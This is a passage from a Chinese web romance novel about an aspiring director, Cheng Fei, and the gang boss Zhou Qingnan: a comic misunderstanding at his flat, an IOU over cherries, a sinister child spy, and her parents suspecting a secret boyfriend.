程菲自幼的理想是成为一名大导演,对自己的定位也一直是“必将为中国电影事业留下辉煌一笔”的未来新星。 电影人的共情能力都是很强的。 程菲换位思考,尝试从周清南的角度纵观了一下这起乌龙事件。 忽然就发现,这位大佬的脾气真挺好的。 试想,你睡觉睡得正香,忽然被一个煞笔狂摁门铃吵醒,完了你开了门,看见这煞笔不仅没有丝毫歉意,还大大方方私闯民宅,把你家从里到外搜了个遍,指责你要弃养女儿不负责任,你会怎么办? 换成程菲,她肯定会把这煞笔给爆锤一顿。 这么一对比,这位黑老大的个人素质真不是一般的高啊。 程菲窘迫至极,一张白皙的脸庞转眼家就红了个透,僵滞好半天,才支吾着挤出一句话来:“小蝶说,她今天晚上不回来吃饭,陆岩带她吃汉堡包。” 周清南还是好整以暇地瞧着她,不出声。 “那个……”程菲自知躲不过,只能硬着头皮解释道,“原来是小朋友做噩梦了,也怪我接电话的时候没问清楚。误会。周先生,给你添麻烦了。” 程菲最后一个字音落地,周清南眸微垂,静了静,继而便随手将还剩半截的香烟掐灭,丢进烟灰缸。 丢完,他起身移步,不紧不慢地便往她走近过去。 这间屋子的空间分明开阔,光线也明亮通透,但随着周清南走近,程菲仍旧敏锐察觉到周围的磁场变化。 清冽的,冷戾的,充满危险的荷尔蒙气息,转瞬侵入她鼻息之间。 彼此距离缩短,程菲心口突的一颤,心跳漏掉半拍,下意识往后退半步,本能地逃离。 “你在我这儿闹了多少次误会,给我添了多少次麻烦。” 在离她还有半步远处,周清南步子停下,嗓音听起来平缓而随意,“自己还数得清么?” “我……”程菲嗫嚅,莫名的心慌意乱,“很抱歉。” “程菲小姐。”周清南道。 程菲暗自屏住呼吸,心跳如雷,面红耳赤,根本不敢抬眼,“您讲。” “昨天晚上,你信誓旦旦说我们不会再见。”说到这里,周清南一扯唇,意味不明地笑了,“结果这还不到24个钟头,你就又跑我眼皮底下晃悠。” 程菲:“……” “知不知道你的行为很容易让人误会。” “误会?”她嗓音有点哑,迟疑地抬起眼帘,望他,“误会什么?” 周清南微弓身,歪了下脑袋,眸子直勾勾盯着她看,轻声回答:“你对我有意思啊。” 作者有话要说 大佬:老婆爱我的心已经控制不住了,我懂。 菲菲仔:……扶墙吐血.jpg —— 这两只的对手戏写得我每天乐呵呵,真的好喜欢南南和菲菲啊谁懂!!!下章我们继续对手戏~ 随机100个红包包~ 第 22 章 欲望。 第22章欲望。 男人语调寡淡,尾音部分带着松弛而随意的上扬,有点而戏谑,有点儿玩笑,又透着点撩气。 程菲听完,瞪大了眼睛,双颊温度嗖的蹿升更高,几乎是想也不想便脱口而出:“你们黒帮的中二青年都这么自恋装逼脸皮厚吗?” 大平层本来就很安静,加上层高开阔,程菲这句灵魂吐槽一落地,几乎在整个空间里形成了余音绕梁似的回荡效果。 你们黒帮的中二青年这么自恋装逼脸皮厚吗。 吗吗吗—— 也是直到最后一个语气词说完,程菲才后知后觉地反应过来,愣神半秒,想刹车已经来不及,只能保持着发“吗”字的唇形僵在了原地,当场石化。 对面的周清南也是微微一怔。 一室之内寂若死灰。 安静,安静,令人窒息的安静。 程菲这会儿连原地自焚的心都有了。她呆立原地,想给自己找补都找不到合适的说辞,只觉心如死灰,欲哭无泪。 对面半步远处,怔神刹那后,周清南盯着眼前的年轻姑娘,左侧眉峰轻轻一挑,眸光逐渐变得意味深长。 身为这句话里的吐槽对象,中二大佬本佬表示已经很多年没见过有人敢这样当面骂自己了。 倒也不是第一次挨骂。 事实上,周清南打从十七岁出来混开始,在圈子里的名声就一直不太好听。这些年他跟着樊正天和梅凤年,一步一步从最底层的泊车小弟爬到这个位置,靠的就是一个狠字,遇佛杀佛,遇神杀神。 道上的各路牛鬼蛇神对他又恨又怕,私下里给他起了不少外号,什么刚修炼成人型的疯狗啊,什么六亲不认活阎王啊,火力十分集中而统一,主攻他的残暴狠戾。 再听听这小丫头片子骂他的内容。 自恋装逼脸皮厚。 角度清奇,用词犀利,还挺他妈别致。 周清南玩味又散漫地瞧着程菲,正琢磨着,又听见面前的女孩子开口了。 “哈哈哈。” 小姑娘俏丽的脸蛋上嘴角一咧,朝他挤出了一个比哭还难看的笑容,干笑了几声。笑完,居然还壮着胆子抬起一只白生生的小手,往他肩上重重一 拍,“幽默吧?风趣吧?我跟你开玩笑呢!” 周清南:“……” 周清南微侧眸,视线下移,慢悠悠扫过那只拍在他肩上的白皙小手,又慢悠悠重新回到程菲脸上。脸色凉淡,不做声。 那表情就像在说:你猜我为什么不笑。 彻底冷场。 程菲:“……” 大佬不接招,这表情这反应,相当于把她殷切递过去的小梯子给一脚踹了开,打定主意要让她下不来台。 程菲那叫一个尬,笑容在脸上凝固住,迟疑两秒,默默将放在周清南肩膀上的爪子给缩回来,囧道:“好吧,这个玩笑貌似确实不太好笑。” 说完,她垂眸思索起来:现在已经确定周小蝶的安全,加上这个大佬还给小朋友买了手机,也会让自己的朋友带小蝶去儿童乐园玩,也并不是她想象中的那么冷漠没人性。 小朋友目前生活无忧,她也就没有再留在这儿搞谈判的必要了。 思忖着,程菲很快便又清了清嗓子,客气而礼貌地说:“那周先生,我就不打扰您休息了,您回屋继续睡觉吧,拜拜。” 说完,程菲扭头就准备开溜。 然而对面的大佬瞧着她,金口一开,风轻云淡地吐出句话:“程小姐大晚上闯进来,把我家里里外外查了个遍,现在说走就走,是不是有点儿不合适?” 听见这话,程菲身形瞬间僵住,哭丧着脸转过脑袋,几欲落泪:“当时我说不用检查,不是您非要拉着我把每个房间都搜一遍的吗……” 周清南嘴角很轻地勾了勾,笑意懒漫,语气温和得让人毛骨悚然:“是谁先一口咬定我禽兽不如,要弃养亲骨肉?” 程菲被生生一噎,无言以对。 周清南说:“不自证清白,谁知道程小姐会怎么在心里骂我。” “……”程菲有点狐疑地抬眸,瞟了对面的大佬一眼,“这句话听起来好奇怪,就像你很在意我对你的看法一样。” 周清南散漫地回:“人是群居动物,在意旁人的眼光很正常。” 程菲听后,觉得有点好笑,自言自语似的小声嘀咕,“得了吧,你都干这行了还在意旁人的眼光?我还以为你们黑老大的心态都好到爆炸,以全民公敌人人喊打为荣呢。” 话 音落地屋子里再次静了静。 两秒过后出乎程菲意料的事发生——只见对面的大佬也不知道怎么回事竟忽然侧过头垂了眼皮低低笑出几声。 开始还比较收敛只是垂着头轻笑后面干脆直接装都不装了高大身躯往旁边的木纹墙上一靠眼底瞳光清明浅溪似的唇角弧度也格外松弛。笑得那叫一个晴空万里阳光明媚。 程菲:“……” 看着忽然破功、在她面前笑得跟朵向日葵似的冷酷大佬程菲白净的脸蛋上流露出一丝迷茫:兄弟你笑什么呢。 不是。 这一本正经说着话呢我戳你哪根笑筋了? 程菲无语了看周清南的眼神逐渐变得一言难尽当时脑子里就生出个念头:这位冷酷黑老大的精神状况八成是有点问题。 不过还真别说这颜值高的人就是不一样。 冷酷颓懒时有痞气的帅法笑起来的时候眉目舒展开清风朗月拂尘去又活脱脱一个阳光开朗大帅比充满了少年气。 程菲在心里啧了两声忍不住又一次惋惜起这张得天独厚的上镜脸心想:这么好看的一个帅哥要是洗心革面重新做人进娱乐圈当演员也不错比他成天为了收点保护费打打杀杀靠谱多了…… 就这样在程菲交织着怜悯欣赏以及探究的注目礼中周清南靠墙笑了差不多半分钟才终于停下。 笑够以后周清南又直勾勾盯着她看了好一会儿随后便长腿一迈闲庭信步似的朝客厅方向走去。 程菲见他一句话不说站直了就走人都呆了禁不住蹙眉朝着男人的背影追问:“那今天晚上的事你到底想怎么解决?” 话音落地那头的周清南跟完全没听见似的不回头也不做声自顾自进了他家的开放式厨房。 程菲无奈只好跟过去追在他背后耐着性子说好话“周先生 “我承认我一开始是对你有偏见觉得你对小蝶那么冷漠完全干得出送她去福利院的事。但是我现在已经改变想法了。” “我相信你在努力成为一个合格的爸爸也相信 你和小蝶的亲子关系会越来越和睦。 “如果你实在觉得气不过,今晚的事,我也可以给你一定的经济补偿当做精神损失费…… 没等她话说完,大佬神情淡漠胳膊一抬,打开了冰箱门。 程菲下意识往面前的冰箱扫一眼,只见偌大的冷藏室里空空如也,比周清南的脸还干净。 典型的不做饭家庭。 程菲见状,轻微皱了下眉,心想家里好歹也有个小朋友,这位大佬也不学着做做幼儿辅食,难道每天都带着闺女一起下馆子吃外卖? 正纳闷儿着,又见周清南拉开了冷藏柜下部的储物抽屉,取出了一个浅蓝色的玻璃保鲜盒。 程菲这时已经将目光收回,重新看向周清南修长的后颈和漂亮的后脑勺,深呼吸、拳一握,下定决心般续道:“你直接开一个价吧,我肯定尽力满足。 “嗯。周清南懒懒应了句,敷衍意味十足,将保鲜盒往岛台上一放,打开了盒盖,眼也不抬地问她,“你说完没有。 “嗯。程菲注意力完全在他冷峻如画的侧颜上,缓慢点点头,“说完了。 周清南语气平淡:“说完了就去洗个手。 程菲不解:“……洗手?洗手干什么? “吃车厘子。 “…… * 几分钟后,洗完手的程菲乖乖坐在了岛台旁的高脚椅上,抻长了脖子往厨房方向张望,翘首以盼。 那头,周清南洗完车厘子后,随手扯出一张擦手巾擦拭手上的水迹,接着将手巾扔进垃圾桶,单手端起满满一盒车厘子,走出来。 轻轻一声“砰,保鲜盒被放到程菲跟前。 这些车厘子不愧是特级货,品相极佳,每一个的个头都又大又饱满,色泽鲜红近紫,表皮上沾着水珠,晶莹剔透,惹得人食指大动。 程菲当时买下这些车厘子后,包装都没拆便直接送给了周清南,这会儿看着这些圆润饱满的小果子,她心里十分期待。 毫不夸张地说,像这种几百一斤的天价水果,她长这么大就没吃过几次。 反正都是她掏钱买的,他都邀请了,她坐下来吃几颗也不过分吧? 程菲思索着。 周清南弯腰坐在旁边的椅子上,侧 目一瞧见这姑娘瞧着那些果子两只大眼蹭蹭发光便随手拿起一颗递给她。 视线里忽然映入一只骨节分明的大手指尖还捏着一粒饱满的朱红。程菲怔了下条件反射般抬起眼帘。 周清南耷拉着眼皮没什么表情地看着她腕骨动了动示意她接过去。 “谢谢。”程菲恭敬不如从命将车厘子接过来放进了嘴里。 一口咬下去满嘴爆汁很甜很好吃。 程菲吃完一颗吐出果核用纸巾裹住紧接着又吃了第二颗第三颗…… 周清南一只手很随性地支在下巴上神色慵懒坐在旁边看她吃。注意到她捏着果核没处扔便从岛台抽屉里取出一个东西放她面前说:“核吐里头。” 程菲定睛细看发现面前的小玩意儿是一个用广告纸折起来的方形垃圾筐看着小巧而精致。 她把垃圾丢进去扑扑手见东西好用便随口说:“这桌面垃圾筐挺不错的周先生方不方便给个链接?” 周清南淡声道:“我自己折的。” “……”出乎意料的回答程菲被嘴里的车厘子汁水给呛了下愕然地睁大了眼睛。 周清南又微垂眼帘随手从抽屉里拿出几个摞在一起的小纸盒子丢桌上手指摁着慢条斯理推给她“就这几个了。” 程菲眼睫毛眨了两下有点没明白他的意思 小说的域名qiexs?(请来企鹅 小说 看最新章节 完整章节)不解地看向他:“您这是……” “不是想要吗。”周清南抬了抬下巴“给你。” “……折这些手工应该还挺费时间的吧。”程菲不好意思白拿但又确实有点心动便提议道“不然你定个价我问你买?” 周清南:“三千。” 程菲差点一口老血喷出来瞠目结舌:“你怎么不去抢银行?” 周清南轻嗤一声扬眉:“那你还敢让我开价收精神损失费?” “……”就说为什么突然那么好心请她吃车厘子原来绕来绕去还在这儿等着她呢。 程菲深吸一口气吐出来嘴角弯弯冲周清南挤出一个和谐而友好的微笑温柔地说:“周先生既然不愿意用钱解决那请您给个明确的指示我究竟要做些什么才能让您大人大量原谅我今晚的愚蠢行径?” 周清 南仍旧保持着单手撑下巴的坐姿,懒散得像只冬眠起来的猎豹,视线平静清冷,直勾勾落在年轻姑娘的脸上。 厨房这边的灯有点儿偏冷调,从头顶洒下来,将她整个人笼罩其中,使得她本就白皙的肤色显出几分骨瓷般的质感,白得几乎透明。 她长了副天生带笑的眉眼,眼尾弯弯,月牙似的,明艳而又娇俏。即使是虚与委蛇地挤出个假笑,也不会让人厌烦,只会让人觉得她灵动活泼。 周清南记忆力极佳,对人事物的细节特征尤为敏锐。 汽修厂的那次见面,他就注意到她的左右两颊各有一枚很小巧的梨涡,浅浅的,不甚明显,平时做普通表情根本看不出来,只有当她展露灿烂笑容时才会浮现出来。 就像,现在这样。 周清南目光下移寸许,看向程菲漾着笑意的小梨涡。这一瞧,又发现几点的车厘子汁液,刚好沾在了她的嘴角。 妖异的暗红点缀满目瓷白,像雪地上落了几片花瓣,又像溅落了几滴血。 莫名的勾人。 “……”周清南看着姑娘嘴角的红色汁液,不知想到什么,眸色蓦然便微沉几分。 下一秒,他回过神来,不动声色错开目光,随手扯了张纸巾给她递过去。 程菲不明白,用困惑的眼神看他。 “你嘴角沾了点东西。”周清南没什么语气地道。话说完的同时,他摸出烟盒跟打火机,又给自己点了根烟。 “哦,谢谢。”程菲点头,赶紧接过纸巾将嘴巴周围仔细擦了一遍。 把用完的纸巾扔进垃圾筐,程菲定定神,又问:“你想好要我怎么补偿你了吗?” 周清南抽了口烟,没看她,指尖的香烟安静燃烧。 片刻,他抬指掸了下烟灰,又不知从哪儿变出一张纸和一支笔,给她。 “这是干嘛?”程菲问。 周清南烟雾背后的面容有点模糊,跟她说:“写个欠条。” 程菲:…… 程菲缓缓打出一串问号:??? 瘾念缓解,骨子里那种不安的躁动也平复下来。周清南低眸,随手将只抽了一口的烟掐灭,侧眸看她,漫不经心地说:“等我想好了要什么,再来问程小姐讨债。” * 凌晨 一点左右繁华的CBD路段仍旧车水马龙。 一大一小两道人影走进尹华道4 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“人家一个小孩子你老是动不动就瞪人家吓唬人家。”周小蝶两只肉嘟嘟的小手往腰上一叉可爱又骄纵“周先生你这不是以大欺小吗当心我跟梅老告状。” 周小蝶的的嗓音稚嫩又清脆充满了孩童独有的天真烂漫不谙世事一旁的陆岩听后却不自觉地皱眉生出几分生理性的嫌恶与不适。 周清南收回视线继续画他的画。 周小蝶见半天惹不恼他也觉得有点没意思无趣地耸耸肩抱着洋娃娃哼着儿歌一蹦一跳地进了大门。 待那阵轻盈的脚步声远去 说到这里陆岩稍微停顿了下有些自责“她和梅老在车上单独说话隔得太远我没有听到任何谈话内容。” “听不听到都无所谓。周清南嘴角勾起一抹讥诮的微弧,“梅老派她过来盯着我,无非就是想知道,这些年我在滨港到底都做了些什么事。 陆岩有些气愤,咬咬牙,道:“你为梅家出生入死,闯了多少回鬼门关,梅老居然因为一些杂种的挑唆就怀疑你,实在是让人寒心。 周清南微眯眼,在暗光中描下一笔,忽然没头没尾问了句:“听说,下周四少爷就要回国了? 陆岩愣了下,仔细回忆一番,点头:“好像是。 周清南:“四少爷这些年在外面也辛苦了。你费点心,帮我准备一份见面礼。 “好。陆岩应声。 周清南和陆岩简单聊了两句,接着侧目一瞥,见陆岩还是那副满心愤懑为他抱不平的模样,便随手将一盒还没拆过的烟丢过去,嗤笑着揶揄:“本来人就长得凶,再他妈一副苦大仇深的嘴脸,看将来哪个妹妹仔敢跟你。 “……陆岩接过烟,嘴唇嗫嚅几下,欲言又止。 周清南也点了根烟,抽一口吐出烟雾,凉凉道:“有话就说。 陆岩扭头看了眼大门里面,没看到周小蝶人,随后才像是下了很大决心般,低声道:“老板,四少爷一直和你不对付,你说这次你和梅老起隔阂,会不会是他在背后捣鬼? 周清南听完,只轻描淡写回陆岩两个字,“难说。 陆岩动了动唇还想说什么,却被周清南不耐烦地打断。 “别操这种闲心,梅四要是有能耐扳倒我,这些年我不知道已经死了多少次。周清南点了下烟灰,眼也不抬地吩咐,“早点回去洗洗睡觉。 “哦。陆岩应了声,正要回身按电梯,不知道是突然想起什么事情还是有别的原因,动作又突地顿住,回过身往屋子里面走。 周清南看他一眼:“干什么去。 陆岩转头,很自然地回答道:“哦。昨晚你给我尝的几颗车厘子还怪甜的,我看你冰箱里还剩一大堆,准备捎点儿回去吃。 周清南神色凉凉:“谁许你拿我的车厘子。 陆岩:“? 陆岩迷茫:“可是老板,你平时不是不喜欢吃这种甜唧唧的玩意儿吗?你又不吃,放着也浪费不是。 周清南 :“我说不许拿就是不许拿。 陆岩:“…… “要吃自己买。 撂下这句话,周清南便咬着烟站起身,头也不回地大步进了大门。 徒留陆岩在原地十分困惑地挠了下头。 不是。 他家老大什么时候变这么小气了?连几颗车厘子都舍不得分给兄弟? * 周清南进到室内的时候,周小蝶正趴在开放式厨房外的白色岛台上,拿保鲜盒里的车厘子吃,小小的身体站在一个圆形小板凳上,有一口没一口。 瞧见周清南,周小蝶面上的神色顿时兴味盎然,笑吟吟地说:“程菲姐姐送的车厘子真好吃。 周清南神色冷冽,懒得理她,径自便往卧室去。 “今天如果不是我打那通电话,把她引过来,你哪儿来的机会跟人小姑娘单独相处。周小蝶在背后开口,嗓音软糯悦耳,嗲嗲的,带着几分撒娇味道,“周先生不准备跟我道个谢吗? 周清南脚下的步子倏然顿住。几秒后,他面无表情地回头,看向周小蝶。 周小蝶抬手一抛,又将一颗车厘子丢进嘴里。 周清南很淡地笑了下,嗓音轻缓,眼神却冰冷而阴森:“我似乎记得,提醒过你要离她远一点。 周小蝶被他的眸光看得背脊发寒,表面上却一丝不显,还是那副笑容无邪的天真样,说:“梅老确实交代过我要好好‘关照’那个小姑娘。不过,周先生您这么聪明,该不会以为找个陆岩看住我,就能护她周全了吧? 周清南神色如冰,没有说话。 “其实怎么说呢,啧啧,要怪就怪你太厉害了,全身上下找不到一丁点的破绽和软肋,让人忌惮,让人害怕。现在好不容易出现一个‘怀着你孩子的女朋友’,你觉得梅老会放过这个彻底拿捏你的机会?梅凤年是个什么样的人你清楚,他的手段他的做派你更清楚。现在无数双眼睛都盯着那个小可怜,你不保护她,她会是什么下场不用我跟你形容吧? 周小蝶一双大眼眨巴两下,温声细语,“你真的舍得吗? 周清南盯着周小蝶,危险地眯起眼,寒声道:“你到底想干什么。 “你以前太无趣了,有欲望的人才可爱。周小蝶声调柔缓,使人联想到大海深处引诱水手万劫不复的海妖,病态到极点,“让一个没有心的疯子为欲望发狂,想想就觉得刺激又好玩呢。 作者有话要说 周小蝶:床都搬来了不给我大do特do,本CP粉头生气气,后果很严重! —— 蝶姐真的是超级助攻,之前我说的时候大家都不信,现在信了吧【狗头】 还是随机100个红包包~么么! 第 23 章 摁倒在床上。 第23章摁倒在床上。 今晚的尹华道468号之行,程菲以抱着维护正义主持公道之心、雄赳赳气昂昂而来,最后以搞出一个绝世大乌龙、留下一张欠条便灰溜溜遁走而结束。此番境遇,着实是令人唏嘘感叹,闻者伤心,见者落泪。 走出那栋高端住宅的门厅后,程菲站在大门口,默默看了眼身后的钢铁巨兽,整个人蔫蔫的,消沉又悲伤,活脱脱一个大写的“衰”。 就说她遇到的这都什么事儿吧。 点儿背,不是一般的点儿背。 几秒钟后,程菲在心里叹了口气,由衷觉得自己最近的运道实在不怎么样。叹完扭头看,路边正好停着几辆候客的出租车,便准备过去随便叫一辆回家。 刚走出没几步,兜里的手机忽然震动几下,嗡嗡嗡嗡。 程菲颓得很,垮着肩膀把手伸包里,扒拉扒拉,取出手机。 屏幕亮着光,提示有最新的微信消息。 “……”程菲心里忽然升起一丝不祥的预感。她眯了下眼睛,指尖悬停在新消息那一栏犹豫了会儿,然后才鼓起勇气,敲开点入。 打工人的直觉有时候就是准得这么可怕。 这不,程菲前一秒还在惶惶然,担心是徐总大周末的给自己布置工作任务,下一秒就看见微信对话框里,徐霞曼那个干净简约的百合头像上出现了一个红色小“2”。 悲催的心,颤抖的手,程菲心如死灰地戳进去。 看见徐霞曼发来的消息一共两条,第一条是文字内容:上次跟你说过梅氏集团对咱们的新栏目感兴趣,准备独家赞助,那边下下周就会派人过来考察,你提前做一下安排,把吃饭的餐厅定好。 第二条也是文字内容,就六个中文大字:饭局你也参加。 程菲微不可察地皱了下眉毛。 饭桌文化在各国各行业盛行不衰,她们传媒圈子这边也差不多:有新栏目要拉投资了?吃一顿。有上级部门来考察了?吃一顿。哪个领导又背地里给谁谁谁穿小鞋了?吃一顿。 发现了问题,首先就把制造问题的人往饭桌上领。二两黄汤下肚,仿佛所有问题就都能迎刃而解,随着前一天吃的肥肠牛肚一股脑给拉近马桶里。让水 一冲,消失于下水道,再也不见天日。 世界上好像就没有“吃一顿 老实说,程菲对参加这种饭局是真一点兴趣都没有,但王命难违,顶头上司放了话,她这个小跟班哪有拒绝的份儿。 无奈,程菲只能敲字回过去:好的徐总。 程菲:请问具体用餐时间是什么时候?餐食类型有要求吗? 徐霞曼回复:下下周二晚上。定个中餐吧。 程菲:好的。 徐霞曼随后又补充:记得准备酒水。 程菲虽然平时的性格看上去大大咧咧不着调,但工作上却尤为谨慎,很注意细节。 她想了想,又发消息询问:需要什么酒?白酒红酒还是别的? 徐霞曼:听说梅氏的那位高层年龄挺大了,是个老酒仙,其他酒水估计喝不惯,就买两瓶茅台吧。我一会儿直接微信转账给你。 程菲:好的。 徐霞曼工作中雷厉风行格外严苛,生活中却非常体谅人,知道程菲是实习生工资不高,一切需要垫付的大开销,她都是自掏腰包。 对话内容结束,下一秒,徐霞曼就直接微信转了一万元整过来。 程菲点了收款,随后便在网上挑选起下下周吃饭的中餐厅。 入职近三个月,程菲对徐霞曼的个性已经有了初步了解。 徐总是个极有品味的精致女强人,这一点从她每天的穿衣打扮以及配饰搭配就能窥见一二。因此,在挑选餐厅时,程菲重点看的是用餐环境这一项。 像滨港这种繁华大都市,高档中餐厅一抓一大把,程菲看得眼花缭乱,蹲在马路牙子上选了将近二十分钟才初步筛出来五个。 她将五个餐厅的基本信息、餐厅环境、菜单菜品分好类,微信上发给徐霞曼,请大佬过目。 徐霞曼办事效率高得惊人,半分钟不到就敲定一个,发回给她。 程菲回复一个收到,随后又拨通了餐厅的订餐电话,定了个十人位的中型雅间。 等她做完这一系列工作,头顶的天空已经彻底黑透。 中午只吃了个土豆饼,整个下午到晚上又只吃了十来颗车厘子,程菲饿得肚子咕咕叫,起身揉了揉蹲到发麻的两条小腿,接着便拦下了一辆出租车。 报上家里的地址后,程菲有点无聊,靠在座椅后背上刷起微博。 刷着刷着,手机再次震动,蒋兰女士打来了电话。 程菲动作微僵,眼珠滴溜溜转一圈,所有说辞便已打好腹稿。她接起电话:“喂妈? “你出门了呀。蒋兰女士语气很随意,“吃晚饭没有? 程菲顿都没顿一下就说:“这么晚了,当然吃了。 “哦,我和你爸给你买了你喜欢吃的蟹黄包,本来还说带回来给你当晚餐。蒋兰女士嘀咕着,又问,“你和谁出去的? “唯唯。程菲面不改色心不跳,很自然地便搬出好闺蜜温舒唯的名号。 谁知话音落地,听筒对面的蒋兰女士却蓦地一滞,足足两秒钟都没出声。 程菲隐约察觉到一丝不对劲,轻声呼唤:“妈? 蒋兰:“菲菲,你确定你和温舒唯在一块儿? “我当然确定了。程菲心里在发虚,表面上却照旧的气定神闲镇定自若,“下午那会儿她给我打电话,约我出来吃饭逛街,我就出来了。 “那你现在还跟温舒唯在一起呢? “对呀。 蒋兰没多说什么,回道:“行吧,那你逛完早点回来。 “嗯好。 挂断电话,程菲暗自鼓起腮帮吐出一口气来,没多想,继续懒耷耷在后座一窝,刷微博磕CP。 * 与此同时,城市另一端,平谷区程家。 听着听筒里传出的嘟嘟盲音,程母蒋兰若有所思地挑了挑眉,缓慢放下手机。 程国礼正坐在沙发上吃蟹黄包,见妻子打完了电话,随口嘀咕:“闺女都那么大了,二十好几的人,出去一趟你还要管东管西,还怕她被人贩子拐卖啊?就不能给人家一点自由。 蒋兰看程国礼一眼,满脸都是大写的无语,“你知道你宝贝闺女说她跟谁在一起吗? 程国礼疑惑:“谁啊。 “温舒唯! 程国礼闻言有点儿不解,也皱起眉:“那就奇了怪了。菲菲下午明明没和温舒唯在一起,她干嘛对你撒谎? “我哪儿知道。”蒋兰百思不得其解。 程国礼在边儿上吃完一个蟹黄包,拿湿巾擦了下手,脑子里忽然升起一个猜测,惊道:“这丫头该不会是在偷偷谈恋爱吧?” 一听这话,蒋兰原先还愁云密布的面容瞬间便舒展开,眨了眨眼睛说:“倒是有这个可能。”说到这里,蒋兰又停顿了下,“可是,我们又不反对她处对象,谈就大大方方谈,瞒着咱们做什么?” 程国礼耸肩摇头,表示不知道,又端起桌上的保温杯喝了一口水,意有所指道:“晚上那顿饭你不是说没吃好吗?不去吃碗餐蛋面加个餐?” “我又不喜欢吃那个。”蒋兰一开始还没反应过来,低眸略思索,回过味来,唰一下抬高眼帘看丈夫,“你是说,让我去问问顾静媛?” “菲菲打小就和她顾姨亲,有些话,她不方便跟咱们说,可能就会跟她顾姨说。”程国礼笑,“而且顾静媛成天在外面摆摊,没准儿看见过什么呢。” 蒋兰一听,是这么个理,抬手轻轻打程国礼一下,眉眼泛出喜色,“这主意倒是靠谱。我这就去顾静媛那儿坐坐,打探一下情况。” * 一个小时后,程菲在她家附近的便利店里搞定一份快餐便当,又买了一盒原味酸奶,慢悠悠地回到家。 进了家门换好鞋,转头就看见她爹和她妈端端坐在沙发上,跟两尊庙里的菩萨雕塑似的。 听见她的脚步声,两人不约而同地举目望来,脸上表情皆有几分微妙。 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节) “嗯?”程菲插上习惯,呲溜吸了口酸奶喝,迷茫,“爸妈,你们俩干嘛呢。” “那个。”蒋兰清了清嗓子,两手在膝盖上无意识地摩搓,明显不自在,跟有话想说又不知怎么开口似的,指指旁边的单人位沙发,“你先坐。” 程菲一头雾水地坐下来。 蒋兰瞥了眼身边的老爷们儿,程国礼接收到爱妻的眼神信号,迟疑两秒,挤出了一个充满父爱光辉的笑容,温柔无比地问:“菲菲,你最近除了忙工作,还有没有忙别的什么事呀?” 程菲咬着吸管摇头:“工作都忙不过来,哪有闲工夫搞其他的。” 程国礼和蒋兰对视一眼,得出结论:顾静媛果然没说错,这丫头是打定主意要将地下恋进行到底了。 蒋兰面上又漾开笑容也很温柔地问:“那有没有接触什么男孩子呀?” 听见这话程菲脑子里无意识便自动浮现出一张人脸。 冷峻里带着几分散漫不羁 心口猛地突突两下。 程菲一刹回神指头在抱枕底下悄悄掐了把大腿强迫自己清醒过来。仍然很淡定地回复她母上:“就上次听你的话去相了个亲除此之外没接触其他异性。” 见这丫头口风严得很根本找不到突破口程国礼和蒋兰彼此交换眼色也决定先按兵不动。 “好吧。”蒋兰没再多问什么笑着道“明儿一早你还要上班洗个澡早点睡觉吧。” 程菲起身回屋关上了房门。 不轻不重地一声“砰”。 程国礼看向蒋兰心头有点儿犯嘀咕压低声音道:“看菲菲这副坦荡样不像心里有鬼会不会是顾静媛搞错了?” “她是我生的什么心思能骗得过我眼睛?错不了咱闺女肯定有情况。”蒋兰也压低声心里倒是喜滋滋的感叹道“有情况是好事。只要别老惦记不该惦记的人我这颗心啊就能放回肚子里。” 卧室里。 程菲回房间后便把自己扔到了床上被子一抱翻来翻去地烙煎饼。烙着烙着忽然又一坐而起烦躁地抓了抓头发。拿出手机给温舒唯发消息。 程菲:烦烦烦烦烦。 没一会儿温舒唯的回复就弹出来。 注定要暴富的小温同学:咱俩还真是心有灵犀一点通我正说给你发消息你就找我了。 程菲:温老师有何指教? 注定要暴富的小温同学:没什么就是想跟你说我今天晚上去买蟹黄包的时候遇到你爸妈了。 程菲:…… 程菲扶额一秒钟不到就什么都反应过来了。 这时对面又发消息问她:你烦什么又被老总叫去加班了呀? 程菲:不是。 程菲:我爸妈怀疑我在处对象。 注定要暴富的小温同学:? 注定要暴富的小温同学:怀疑你在处对象?和 谁? 程菲捧着手机深沉地眯了下眼睛,回复:如果我没有猜错的话,他们的怀疑目标,应该是那个黒帮老大。 注定要暴富的小温同学:??? 注定要暴富的小温同学:不是吧姐妹,你哪根筋没搭对,那个黑老大的事怎么能告诉你爸妈?要是被咱叔和咱姨知道你卷入了黒社会斗争,他们不担心死才怪! 其实,在程国礼同志抛出第一个问题的时候,程菲就已经猜到她爹妈找过顾姨或者槐叔。 程菲面无表情地打字:我爸妈不知道那个黑老大是个黑老大,我爸妈以为他是个网约车司机。 注定要暴富的小温同学:…… 注定要暴富的小温同学:既然他们都不知道他的真实身份,那误会就误会了吧,反正也不是真的。时间是检验真理的唯一标准。 注定要暴富的小温同学:而且他们以为你谈了恋爱,后面应该就不会频繁让你去相亲了。好事儿呀! 看着好友发来的文字,程菲眯了下眼,转念一琢磨,觉得也对。本来就不是真的,几个长辈要自作多情乱点鸳鸯谱,那就随他们去,多出一个莫须有的“男朋友,正好也能让她妈消停消停,不再给她介绍对象。 想通这一层,程菲郁闷的心情霎时转晴,变得轻松不少,弯起唇角回复温舒唯:就是,时间一长自然真相大白。 注定要暴富的小温同学:所以你别想那么多了,早早睡觉,做个好梦。 程菲:承温老师吉言。 和好友互道晚安后,程菲便甩甩脑子将所有混乱的思绪全都抛开,洗漱睡觉。 * 睡前,温舒唯祝程菲做个好梦,然而这天夜里,她噩梦连连。 一会儿梦见小时候,她和爸妈一家三口挤在破旧的矮平房,下雨时屋顶滴答漏水,一会儿又梦见自己在废弃厂房里绝地求生。场景跳跃度极大,就跟看情景剧似的。 最后一个梦境发生在天将亮时,她变身成了吸血鬼伯爵养的一只巴哈狗,住在阴森诡异的古堡里,每天都在偷偷挖地道,试图从古堡里逃走。 经过日复一日的不懈努力,地道终于挖通。 然而,就在程菲扑腾着她的小爪子准备拥抱自由时,后颈一紧,她毛茸茸的小身体便被人提溜了起来。 伯爵的大斗篷遮去了整张脸,声音里透着十足的死气和病态,冷冷道:“居然敢逃跑?我平时没有把你喂饱吗。 哈巴狗程菲十分不屈,挣扎道:“你给的粮我一口没吃,你给的水我也一口没喝! “哼。伯爵哼笑,“你难道没有吃我的车厘子? “汪汪汪? 正迷茫着,看见伯爵的斗篷忽然掉落下来,露出的脸庞冷白俊美,竟然长得和周清南一模一样。 哈巴狗程菲当场惊呆。 伯爵又冷酷地说:“没有人能知道我的真实身份。你 